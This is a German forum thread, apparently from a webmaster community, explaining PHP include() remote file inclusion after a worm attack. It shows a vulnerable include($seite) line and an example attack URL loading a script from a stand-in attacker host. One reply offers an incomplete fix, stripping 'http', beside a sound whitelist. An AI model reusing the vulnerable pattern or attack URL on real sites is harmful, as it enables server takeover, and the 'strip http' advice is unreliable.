Home | Registrieren | Einloggen | Suchen | Aktuelles


Forum » PHP & MySQL » btr Artikel zu "An alle phpBB 2 Forum CMS System N/X Betreibe... Antworten
btr Artikel zu "An alle phpBB 2 Forum CMS System N/X Betreiber !!"

Austin Powers
Mausakrobat


Beiträge: 170


http://www.webwork-community.net/posting7059_38_0.html

Über Google, Yahoo und AOL versucht der Wurm zunächst Seiten zu ermitteln, die in PHP geschrieben wurden und in denen die Funktionen "include()" und "require()" vorkommen. Diese Funktionen werden dazu genutzt, um den Inhalt von Dateien auf einer Website anzuzeigen. Wenn der Programmierer die an diese Funktion übergebenen Parameter im Code nicht sorgfältig genug überprüft, kann ein Angreifer diese Funktion mißbrauchen und im Extremfall die gesamte Kontrolle über den Webserver übernehmen.

Mal ganz dumm gefragt wie sieht ne unsichere "include()" und wie ne sichere aus?

P.S.: hab festgestellt, das man auf suleitc-servern gehostete scripts über domain (und auch server) grenzen hinweg includieren kann.



---
MfG:Austin Power (Saturn Realm)
OMW! Zumindest sobald ich herausgefunden hab wo ich JETZT gerade bin.
<---------->
"Wenn Liebe die Antwort ist, könnst Du bitte die Frage neu formulieren?" ... Lily Tomlin
<---------->
code hier http://www.pastebin.com

  Profil   Website   Editieren   Zitieren

schmchris
Mausakrobat


Beiträge: 163


Ein Aufruf einer Seite mit "index.php?seite=info.php" und dem dazugehöigen Quellcode

1:
include($seite);


wäre unsicher da der Angreifer ja "index.php?seite=http://webspace.des-angreifers.de/script_mit_schädlichem_inhalt.php"

aufrufen könnte und somit jeden Code auf deinem Webspace ausführen könnte.

Eine Schutzmöglichkeit ist die Variable $seite immer um das "http" zu bereinigen. Dadurch ist keine externe URL mehr möglich.

Diese Nachricht wurde geändert von: schmchris
  Profil   Editieren   Zitieren

Austin Powers
Mausakrobat


Beiträge: 170


Achso wieder das Spiel mit den Variablen...
Ok, ich dachte jetzt einen mom, da gäbs noch irgend ne andere Lücke

---
MfG:Austin Power (Saturn Realm)
OMW! Zumindest sobald ich herausgefunden hab wo ich JETZT gerade bin.
<---------->
"Wenn Liebe die Antwort ist, könnst Du bitte die Frage neu formulieren?" ... Lily Tomlin
<---------->
code hier http://www.pastebin.com

  Profil   Website   Editieren   Zitieren

subjective
Forenheld


Beiträge: 848


Besser ist es noch keinen include() auf diese Weise zu machen. Wenn man schon Dateinamen aushebeln und dafür unbedingt GET-Parameter mißbrauchen will:

1: 
2: 
3: 
4: 
5: 
6: 
7: 
8:
$pages = array(
  'home' =>'home.php', 'imprint' =>'imprint.php', ...
);
if (isset($_REQUEST['page']) && isset($pages[$_REQUEST['page']])) {
  include($pages[$_REQUEST['page']]);
}


---
Weaverslave

  Profil   Website   Editieren   Zitieren

Austin Powers
Mausakrobat


Beiträge: 170


includes nutze ich z.Z. um Code der Übersichtshalber und aus aktualisierungsgründen aus dem hauptscript auszulagern.
ist dann aber auch fest
ala
1:
include('div_funktionen.php');


---
MfG:Austin Power (Saturn Realm)
OMW! Zumindest sobald ich herausgefunden hab wo ich JETZT gerade bin.
<---------->
"Wenn Liebe die Antwort ist, könnst Du bitte die Frage neu formulieren?" ... Lily Tomlin
<---------->
code hier http://www.pastebin.com

  Profil   Website   Editieren   Zitieren

schmchris
Mausakrobat


Beiträge: 163


Das werden sehr viele machen, um zuminest Header und Footer auszulagern.

Aber auch bei Countern und so wird es ja oft genutzt.

Ich habe die Sache eben umgedreht. Keine index.php die alles included sondern immer z.B.: neuigkeiten.php die dann header counter ...footer included.

  Profil   Editieren   Zitieren

subjective
Forenheld


Beiträge: 848


Jep - genau das halt ich für den deutlich besseren Weg. Somit wird der Dateiname genutzt, der Besucher hat ne vernünftige URL und Teile die mehrmals verwendet werden, liegen halt in zentralen Dateien. Was man gerade für die aktuelle Seite benötigt, wird halt reingeholt (macht die Sache auch sehr flexibel).

Eine zentrale "index.php" über die alles läuft, macht *imho* erst Sinn, wenn alle Inhalte aus der DB kommen (CMS).

---
Weaverslave

  Profil   Website   Editieren   Zitieren

schmchris
Mausakrobat


Beiträge: 163


Weiterhin lasse ich html Dateien per Mod Rewrite auf php umleiten, sieht irgendwie schöner Suchmaschinenfreundlicher aus, ob es was bringt ? Keine Ahnung

  Profil   Editieren   Zitieren

Austin Powers
Mausakrobat


Beiträge: 170


Eine zentrale "index.php" über die alles läuft, macht *imho* erst Sinn, wenn alle Inhalte aus der DB kommen (CMS).


So geschehen auf meinen Seiten. Nur Scriptlastiges d.h. z.B. Feedback (mail) und Bilder liegen noch als Datei auf der Platte.

Per Mod Rewrite werden die Get Variablen zu Verzeichnissen und .html`s

@schmchris
bei Aufrufen ala "/inhalt.php" bringt mod rewrite zu "/inhalt.html" nichts.
erst wenn etwas "/news.php?date=juli05" zu "/news_juli05.html" wird bringt mod rewrite was.
Da Suchmaschinen Seiten die über "irgendwas?var=wert" niedriger bewerten als .html (oder php ohne var) Seiten

---
MfG:Austin Power (Saturn Realm)
OMW! Zumindest sobald ich herausgefunden hab wo ich JETZT gerade bin.
<---------->
"Wenn Liebe die Antwort ist, könnst Du bitte die Frage neu formulieren?" ... Lily Tomlin
<---------->
code hier http://www.pastebin.com

  Profil   Website   Editieren   Zitieren

schmchris
Mausakrobat


Beiträge: 163


Danke für den Hinweis. Dann werd ich das demnächst (im Urlaub) noch umstellen.

  Profil   Editieren   Zitieren
 

Antworten
Nach oben